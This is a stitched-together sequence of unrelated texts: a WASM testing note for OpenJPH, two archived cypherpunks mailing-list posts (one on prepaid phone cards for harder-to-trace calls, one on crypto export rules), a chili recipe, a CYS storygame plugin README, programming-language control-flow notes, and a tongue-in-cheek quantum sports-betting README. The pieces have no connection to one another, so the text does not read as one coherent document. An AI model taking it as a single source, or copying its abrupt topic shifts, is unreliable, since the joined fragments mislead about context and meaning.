To test the WASM subroutines, I would like to use the same test subroutines for the library.  To do so, move the com_decom.sh and com_decom_yuv.sh files in this folder to ```OpenJPH/tests``` folder, and build the library as usual using

    cd build
    cmake -DBUILD_TESTING=yes ..
    make
    make test

This is a standard build without any modifications. The modified com_decom.sh and com_decom_yuv.sh files should invoke the WASM versions of the code.  You can modify these files to test with or without WASM SIMD.

There is a small complication with the test.  The test reads uncompressed images from ```..\```, and writes compressed images to ```.\```, while wasmer has access to ```..``` only with the command ```--dir ..```.  It would be convenient if I can specify two folders, but I do not know how to do that.   To overcome this, I also use ```--mapdir ./:./``` that maps the ```.\``` folder to the same location in wasmer, thus giving wasmer access to this folder.


text:
---
layout: default
---

# 1994-02-15 - Re: Tracking Contacts with Clipper

## Header Data

From: Sandy Sandfort<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 09fb55e325becd27b9c7e564b55dd86455642fa976d11a808d14eb80b3e744e1

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1994-02-15 01:21:31 UTC

Raw Date: Mon, 14 Feb 94 17:21:31 PST

## Raw message

```
{% raw  %}From: Sandy Sandfort<EMAIL_ADDRESS>Date: Mon, 14 Feb 94 17:21:31 PST
To<EMAIL_ADDRESS>Subject: Re: Tracking Contacts with Clipper
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

C'punks,

On Mon, 14 Feb 1994<EMAIL_ADDRESS>wrote:

> Sandy wrote,
> "Tim asked about "phone remailers" in one of his recent posts.  Until that
> happens, remember that the anonymous phone cards offered by AT&T and
> Western Union (and others) are almost as good.  This is especially true
> if you "chain" call through two or more different phone cards."
>
> Please post details of these. How do they charge you then? Must you use
> a phonebooth?
>
>  -=Xenon=-
>

What I was discussing are "pre-paid" calling cards.  You can buy Western
Union cards at any Western Union representative office.  AT&T cards are
available at AT&T Phone Stores.  Other brands are also available .  I
recently saw another such card being advertised in the camara section of Pay
Less Drugs.  I also mentioned another brand (Telekey) in one of my "Norman
French" articles in MONDO 2000 last year.  Their phone number is (800)
776-5424.

You buy them with cash.  They each represent a pre-set number of minutes
in an already established account.

They can be used from any phone, but since you have to call an 800 number
to use them, some record of your calling number may be captured by ANI
(Automatic Number Identification) and kept by the card company.

 S a n d y

{% endraw %}
```

## Thread

+ Return to [February 1994](/archive/1994/02)

+ Return to "["K. Sheppard" <kshep@netcom.com>](/authors/k_sheppard_kshep_at_netcom_com_)"
+ Return to<EMAIL_ADDRESS>(Matthew Gream)](/authors/mgream_at_acacia_itd_uts_edu_au_matthew_gream_)"
+ Return to "[qwerty-remailer@netcom.com](/authors/qwertyremailer_at_netcom_com)"
+ Return to "[Sandy Sandfort <sandfort@crl.com>](/authors/sandy_sandfort_sandfort_at_crl_com_)"

+ 1994-02-14 (Mon, 14 Feb 94 13:41:31 PST) - [Re: Tracking Contacts with Clipper](/archive/1994/02/3cb3ec4f6d4e99fa125d9f902b5aba69264bcbe5be2657285697be1a3ce4f662) -<EMAIL_ADDRESS>  + 1994-02-14 (Mon, 14 Feb 94 15:51:31 PST) - [Re: Tracking Contacts with Clipper](/archive/1994/02/fcf502e6d6f0c4b61848edbf9074838ccaa45cab17768106ded0ec826ca0c93b) - _"K. Sheppard"<EMAIL_ADDRESS>  + 1994-02-15 (Mon, 14 Feb 94 17:21:31 PST) - Re: Tracking Contacts with Clipper - _Sandy Sandfort<EMAIL_ADDRESS>    + 1994-02-15 (Mon, 14 Feb 94 18:21:33 PST) - [Re: Tracking Contacts with Clipper](/archive/1994/02/79a9bf9edb71afd304c6b16373d0e00e46e4cff196415efd3f8dc73d4e0d51d8) -<EMAIL_ADDRESS>(Matthew Gream)_


text:
---
---

ground beef to taste (about 1 pound), browned and fat/grease removed
1 can chili beans (15oz)
1 can kidney beans (8oz)
1 can stewed tomatoes (Boz)
1 can tomato sauce (8oz)
water, enough to thin mixture
pinch of sugar

spices to taste (oregano, cumin, Italian spices)

Combine all ingredients and cook in crock-pot for 8-10 hours or on stove for several hours on
low.

Top chili with grated cheddar cheese and/or ketchup. Serve with french bread and salad for a
great winter dinner.

repository: rdyar/tdfc

gha_language: CSS

repo_name: rdyar/tdfc


text:
---
layout: default
---

# 1997-11-18 - Re: export restictions and investments

## Header Data

From: Lucky Green<EMAIL_ADDRESS>To: Jyri Kaljundi<EMAIL_ADDRESS>Message Hash: 6fc2715a0ad2383b0f51162d5761f6c7713df3fb79c043622b0b5bbdbf094318

Message ID<EMAIL_ADDRESS>Reply To: \<Pine.GSO.3.95.971118144118.21511I-100000@nebula\>

UTC Datetime: 1997-11-18 20:48:01 UTC

Raw Date: Wed, 19 Nov 1997 04:48:01 +0800

## Raw message

```
{% raw  %}From: Lucky Green<EMAIL_ADDRESS>Date: Wed, 19 Nov 1997 04:48:01 +0800
To: Jyri Kaljundi<EMAIL_ADDRESS>Subject: Re: export restictions and investments
In-Reply-To: <Pine.GSO.3.95.971118144118.21511I-100000@nebula>
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

On Tue, 18 Nov 1997, Jyri Kaljundi wrote:

>
>
> How do the US export restrictions affect investments into non-US crypto
> companies?

They don't.

> Is it legal for US private persons or companies to invest money
> into companies developing strong crypto applications for example in
> Europe?

It is legal. For now.

-- Lucky Green<EMAIL_ADDRESS>PGP v5 encrypted email preferred.
   "Tonga?  They have Cypherpunks there?"

{% endraw %}
```

## Thread

+ Return to [November 1997](/archive/1997/11)

+ Return to "[Ben Laurie <ben@algroup.co.uk>](/authors/ben_laurie_ben_at_algroup_co_uk_)"
+ Return to "[Greg Rose <ggr@qualcomm.com>](/authors/greg_rose_ggr_at_qualcomm_com_)"
+ Return to "[Jyri Kaljundi <jk@stallion.ee>](/authors/jyri_kaljundi_jk_at_stallion_ee_)"
+ Return to "[Lucky Green <shamrock@cypherpunks.to>](/authors/lucky_green_shamrock_at_cypherpunks_to_)"
+ Return to "[Tim May <tcmay@got.net>](/authors/tim_may_tcmay_at_got_net_)"
+ Return to "["William H. Geiger III" <whgiii@invweb.net>](/authors/william_h_geiger_iii_whgiii_at_invweb_net_)"

+ 1997-11-18 (Tue, 18 Nov 1997 20:58:06 +0800) - [export restictions and investments](/archive/1997/11/d6ad1e15b4838ef38a56ba44778a5432efc814b277fb4ec6a5388d19a338eb60) - _Jyri Kaljundi<EMAIL_ADDRESS>  + 1997-11-18 (Tue, 18 Nov 1997 22:03:41 +0800) - [Re: export restictions and investments](/archive/1997/11/0c540ccca7e615e01a64be35eda25406919e6911c409a36a5d983f46d8079f26) - _"William H. Geiger III"<EMAIL_ADDRESS>  + 1997-11-18 (Wed, 19 Nov 1997 03:34:12 +0800) - [Re: export restictions and investments](/archive/1997/11/a329d7baa81014a9de73a01b88b3a80a34d291a5993e809af1aed6cbdbb9a097) - _Tim May<EMAIL_ADDRESS>    + 1997-11-18 (Wed, 19 Nov 1997 05:51:35 +0800) - [Re: export restictions and investments](/archive/1997/11/987775f585e797846906038d90b4cfeccf4b150f53905d18ed2501570e669afd) - _Greg Rose<EMAIL_ADDRESS>      + 1997-11-18 (Wed, 19 Nov 1997 07:27:37 +0800) - [Re: export restictions and investments](/archive/1997/11/a951f507adc6232d07d024e176db03aa3e157a18da7f6fca07c9ba5057755e82) - _Ben Laurie<EMAIL_ADDRESS>  + 1997-11-18 (Wed, 19 Nov 1997 04:48:01 +0800) - Re: export restictions and investments - _Lucky Green<EMAIL_ADDRESS>


text:
# Multi-Variables

Multi-Variables provides a method of piecemeal storing strings of data in CYS's integer variable system and then retrieving and inserting them into a storygame in a manner similar to on-page coding.

## Usage

First, you must load the multivariable script in your storygame's global page script. It's possible to simply copy and paste the contents of the JS file, but it may be cleaner and faster to use a CDN. Examples in this readme use a development URL from [rawgit.com](https://rawgit.com), but in your storygame you should either use your own hosting, or visit [rawgit](https://rawgit.com), enter `https://github.com/BradinDvorak/CYS-plugins/blob/master/multivariables/multivariables.min.js` into the text field, and copy the *production* URL, which is unique for every release.

```HTML
<script src='https://rawgit.com/BradinDvorak/CYS-plugins/master/multivariables/multivariables.min.js'></script>
```

To get started with multi-variables, create a new `MultiVariable` object.

```JavaScript
var multiVariable = new MultiVariable();
```

New variable sets can be added to this with either the `add()` or `create()` method.

```JavaScript
MultiVariable.add(options);

var multiVariableInstance = MultiVariable.create(options);
```

## The `MultiVariable` Object

`MultiVariable` holds a collection of instances.

### Methods

#### `.add(options)`

Adds an instance with the supplied options to the `MultiVariable` object and then returns the `MultiVariable` object. Because of this, multiple `.add()`s can be chained together.

| parameter           | type                                       | default          | description                                                                                |
|---------------------|--------------------------------------------|------------------|-------------------------------------------------------------------------------------------------------------------------------------------------|
| options             | Object                                     | *none*           |                                                                                |
| options.default     | array (of strings), string, or Function    | `null`           | Placeholder value for the input element, either chosen from the strings provided or generated via the function (the max length is its argument) |
| options.filter      | RegExp or [Filter preset](#filter)         | `null`           | Filters the matched characters out of the input element                                                                                |
| options.input       | string                                     | `null`           | Id for the input element                                                                                |
| options.length      | number                                     | `8`              | Max length of the input element                                                                                |
| options.prefix      | string                                     | `MULTIVARIABLE#` | The string prefixed to this instance's CYS variables                                                                                |
| options.replace     | RegExp, string, or array                   | `null`           | Replaces the matched characters with the instance's value. Optionally, a function or substring indices can be provided                          |
| options.transform   | Function or [Transform preset](#transform) | `null`           | Arbitrary operation performed on the input element's value. Takes one argument (string) and should return a string                              |
| options.serialize   | Function or [Serialize preset](#serialize) | `null`           | Custom function that converts its one, single-character argument into a 32-bit integer. An `options.deserialize` must also be defined           |
| options.deserialize | Function or [Serialize preset](#serialize) | `null`           | Custom function that converts its one, 32-bit integer argument into a single character. An `options.serialize` must also be defined             |

#### `.create(options)`

Same as the `.add()` method, but returns the instance instead of the `MultiVariable` object. This means that although they provide immediate access to the instance, multiple `.create()`s cannot be chained together.

#### `.get(index)`

Returns the instance at the provided index.

#### `.first()`

Returns the first instance of the `MultiVariable` object.

#### `.last()`

Returns the final instance of the `MultiVariable` object.

#### `.entries([begin, [end]])`

Returns an array of all (or a subset) of the `MultiVariable` object's instances.

### Presets

#### Filter

| value                | description                                                                      |
|----------------------|----------------------------------------------------------------------------------|
| `INTEGER`            | Removes non-integers                                                             |
| `NATURAL`            | Same as `INTEGER`, but disallowing negatives                                     |
| `NAME`               | Removes non-letters, but allows dashes and apostrophes in the middle of the name |
| `NAME_INTERNATIONAL` | Same as `NAME`, but allowing accented letters                                    |

#### Transform

| value       | description                                                                                |
|-------------|--------------------------------------------------------------------------------------------------------------|
| `LOWERCASE` | Makes all letters lowercase                                                                                |
| `NAME`      | Capitalizes the initial letter, as well as any letters following a dash, and makes everything else lowercase |
| `UPPERCASE` | Makes all letters uppercase                                                                                |

#### Serialize

| value      | description                                                                       |
|------------|-----------------------------------------------------------------------------------|
| `UNICODE`  | Serializes the character as its UTF-16 codepoint (0–65535)                        |
| `ALPHABET` | Serializes the character as its position in the alphabet (1–26) or zero otherwise |
| `DIGIT`    | Serializes the character as its integer value (0–9) or -1 otherwise uppercase     |

## The `MultiVariableInstance` Object

An instance within a `MultiVariable` object.

### Prototype Methods

#### `._serialize(string)`

The instance's internal serialization function, turning a string of characters into an array of 32-bit integers.

#### `._deserialize(array)`

The instance's internal serialization function, turning an array of 32-bit integers into a string of characters.

#### `.conditionalize(string)`

Returns a CYS Script string that tests for the serialization of a given string. For instance `%MULTIVARIABLE0 = 72 AND %MULTIVARIABLE1 = 105` would be provided for a UTF-16 serialization of the string `"Hi"`.

### Methods

#### `.default(length)`

The `.default` property is used to supply the input element with a placeholder value. When this is a function, its single argument is this `MultiVariableInstance`'s `.length` property it and should return a string.

#### `.transform(value)`

The `.transform()` method is used on the input element before its value is converted into CYS variables.  For instance, it could be used to force the input into lowercase, eliminating issues with case sensitivity. It's argument is the input element's value.

#### `.serialize(string)`

The `.serialize()` method is run on each character of the input element, converting it into a value acceptable for CYS variables. The method takes one argument—a single-character string—and should return a 32-bit integer.

*Note: If a custom `.serialize()` method is defined, a custom `.deserialize()` must also be defined or both methods will default to `null`.*

#### `.deserialize(string)`

The `.deserialize()` method is run on each CYS variable within the current instance, converting it back into a string. The method takes one argument—a 32-bit integer—and should return a single-character string.

*Note: If a custom `.deserialize()` method is defined, a custom `.serialize()` must also be defined or both methods will default to `null`.*

### Properties

#### `.replace`

The `.replace` property must always be an array (if not `null`) and will be turned into one when the instance is created if the `replace` option is provided as a string or RegExp.

Any value within the array should be either an instance of RegExp or an array itself. If an array, it must be of length `2`, containing a RegExp as its index `0` and one of the following as its index `1`:

- A single number, providing an index for a one-character substring operation (the equivalent of `string.substr(a, 1)`)
- An array containing two numbers, providing the beginning and end indices for a substring operation (the equivalent of `string.substr(a, b)`)
- A function, taking a string as its argument (the value of the `MultiVariableInstance`) and returning a string

## Example

This example provides an implementation of a simple naming system in a storygame.

### Global Page Script

First, the multivariable script is loaded. Then a `MultiVariable` object is created and an instance is added to it.

This `MultiVariable` instance can be at maximum 12 letters long, accepts only name characters, assigns its values to variables prefixed with `%NAME`, and is captured by the `<input>` element with the id "playerName". On-page, it replaces any instance of `$$NAME$$`.

```HTML
$PAGETEXT := "<script src='https://rawgit.com/BradinDvorak/CYS-plugins/master/multivariables/multivariables.min.js'></script>
<script>
var multiVariable = new MultiVariable();

multiVariable.add({
  filter: 'NAME_INTERNATIONAL',
  input: 'playerName',
  length: 12,
  prefix: 'NAME',
  replace: '$$NAME$$',
  transform: 'NAME'
});
</script>" + $PAGETEXT
```

### Page 1

This page is where the user is prompted to type in their name. It contains an `<input>` element with the id "playerName".

```HTML
<p>What is your name?</p>
<input id="playerName" type="text">
```

### Page 1 Link Script

The "accept"/"continue" link that leads to Page 2. This script ensures that the player cannot enter an empty name by returning to Page 1 if the first `%NAME` variable (`%NAME0`, because indexing begins at zero) equals zero.

```Go
IF %NAME0 = 0 THEN $DEST := @NONE
```

### Page 2

Finally, the player's name is displayed to them, the text `$$NAME$$` being replaced with the name they entered.

```HTML
<p>Hello, $$NAME$$.</p>
```

repository: BradinDvorak/CYS-plugins

repo_name: BradinDvorak/CYS-plugins


text:
# Control Flow

## if

An if-statement looks like this:

```
if (a) {
    // ...
} else if (b) {
    // ...
} else {
    // ...
}
```

## for

There is no C-style for-loop. Instead we have a for-each, aka a range-based for-
loop:

```
for (var element in range) {
    // ...
}
```

This iterates over each element in the range-expression.

## while

A while-loop has the following syntax:

```
while (a) {
    // ...
}
```

## do-while

A do-while-loop (not implemented yet) is the same as a while-loop, except that
it checks the condition at the end of each iteration:

```
do {
    // ...
} while (a)
```

## switch

```
switch (someValue) {
    case 0:
        // code to execute if someValue equals 0
    case 1:
        // code to execute if someValue equals 1
    default:
        // code to execute if someValue equals something else
}
```

Unlike in most C-based languages, the case bodies don't fall through to the one
below by default. This behavior can be enabled for individual cases using the
`fallthrough` keyword (not implemented yet).

## break

Inside loops and case-blocks, you can transfer the control flow outside the
loop/switch with the `break` statement.

## continue

Inside loops, you can skip the rest of the loop body and start executing the
next iteration with the `continue` statement.

repository: moneytech/delta

repo_name: moneytech/delta


text:
![logo](img/logo.png)

##  The Loo Boys present ... The Lord's Vig

The leading quantum sports betting application. We are an all encompassing suite of quantum software packages that utilize NISQ quantum computers to out perform classical counterparts. Tired of losing to your friends in fantasy e-sports? Looking to take advantage of Las Vegas' books? You've come to the right place.

## Welcome to the Suite

![joke](img/bet.jpg)

The Lord's Vig is an immersive Fantasy Sports and Betting platform, the first of it's kind in the world to make use of Quantum technology. Here at LV we make use of state of the art algorithims (both classical and quantum) to give YOU an advantage over your friends and colleagues. Some of the features include:

- state of the are optimization model to select/suggest players during an auction draft [notebook](PythonNotebooks/Fantasy_Draft.ipynb)
- optimize you're fantasy lineup (or pick a good team while playing an Ultimate Team mode) [notebook](PythonNotebooks/Optimal_team_kit.ipynb)
- get strength of schedule (SOS) rating to help improve your decisions while betting [notebook](PythonNotebooks/SOS.ipynb)
- Monte carlo simulations (both classical & quantum) to project team/player performance moving forward [notebook1](PythonNotebooks/Monte.ipynb) and [notebook2](PythonNotebooks/Monte_players.ipynb)
- Machine Learning models to predict betting lines & tournament winners [notebook1](PythonNotebooks/Euro_Simulation.ipynb) and [notebook2](PythonNotebooks/betting.ipynb)
- Portfolio optimization of your player assets; telling you which players are due a regression [notebook](PythonNotebooks/SoccerOptimizer.ipynb)
- Trade simulator to ensure you are never on the side of a sub-optimal transaction! [notebook](PythonNotebooks/best__trade.ipynb)

We also partner with industry experts like PFF (Pro Football Focus) and SIS (Sports Info Solutions) to ensure you have the best metrics to guage player value and ensure YOU maintain the bragging rights. We do all the hard work- so you can rely on inferring value from key statistics.

## Potenital Use Cases

1. Fantasy Sports
  - Fantasy owners may use our auction draft tool to come up with novel strategies while drafting
  - Use our montecarlo tools to project future player performance
  - Use our trade tool to come up with potential trade offers to other teams in their league

![fant](img/2.jpg)

2. Online Betting
  - Betters may use our predictive model while betting on tournaments
  - Use our QNN to predict & decide early on 2nd half totals to bet on
  - May use our Strength of schedule tool to predict which teams to fade/buy

![bet](img/1.jpg)

3. Front Office Operations
  - Assistant General Managers and Operations staff may use our trade simulation tool to research potential trades
  - Use our portfolio optimization tool to get out of bad contracts early
  - Use our montecarlo simulations to project future team sucess
  - Use our strength of schedule tool to project future team performance

![fo](img/4.jpg)

4. E-Sports
  - E-Sports players (specifically, players of EA's 'Ultimate Team' game mode may use our lineup optimization tool
  - Use our trade simulator to research potential changes to their roster

![fo](img/3.jpg)

## What are people saying about the Platform?

- "Love it, I've won my league for 3 years in a row now. My friends are begging me for advice" - John A.
- "I haven't had to buy a drink in years and my friends are asking me for debt forgiveness" - Alex
- "I love the platform; it makes fantasy easy and fun! My boyfriend's friends can't belive I'm so good!" - Stacy

For more information, see our [<ins>business application and set-up workflow</ins>. ](Business_app.md)

## Contributors

- William Ngana
- Elijah Cavan
- Jose H. Leon-Janampa
- Teemu Salmela

![cdl](img/cdl.jpg)

path: /Loo Boys/README.md

branch_name: refs/heads/main